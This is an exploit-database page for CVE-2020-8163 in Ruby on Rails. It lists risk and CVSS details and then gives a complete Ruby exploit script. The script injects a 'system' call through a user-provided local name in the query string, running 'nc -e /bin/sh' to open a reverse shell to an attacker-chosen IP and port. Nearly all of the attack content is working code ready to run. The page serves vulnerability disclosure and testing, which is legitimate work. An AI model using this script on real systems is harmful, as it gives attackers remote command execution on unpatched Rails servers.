Ruby On Rails 5.0.1 Remote Code Execution

2020.07.30
Credit: Lucas Amorim
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Rails 5.0.1 - Remote Code Execution # Date: 2020-07-19 # Exploit Author: Lucas Amorim # Vendor Homepage: www.rubyonrails.org # Software Link: www.rubyonrails.org # Version: Rails < 5.0.1 # Tested on: Linux/OSx # CVE : CVE-2020-8163 # More information: https://github.com/sh286/CVE-2020-8163 #!/usr/bin/ruby require 'net/http' def header puts "[*] - CVE-2020-8163 - Remote code execution of user-provided local names in Rails < 5.0.1\n" puts "[*] - Author: Lucas Amorim lucas@lucasamorim.ca" puts "[*] - Usage: \n" puts "ruby exploit.rb <url> <ip> <port>" end if ARGV.length < 3 header exit(-1) end url = ARGV[0] ip = ARGV[1] port = ARGV[2] puts "[*] Sending payload to #{url}" uri = URI(url+"?system(%27nc+-e+/bin/sh+#{ip}+#{port}%27)%3ba%23") Net::HTTP.get(uri)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top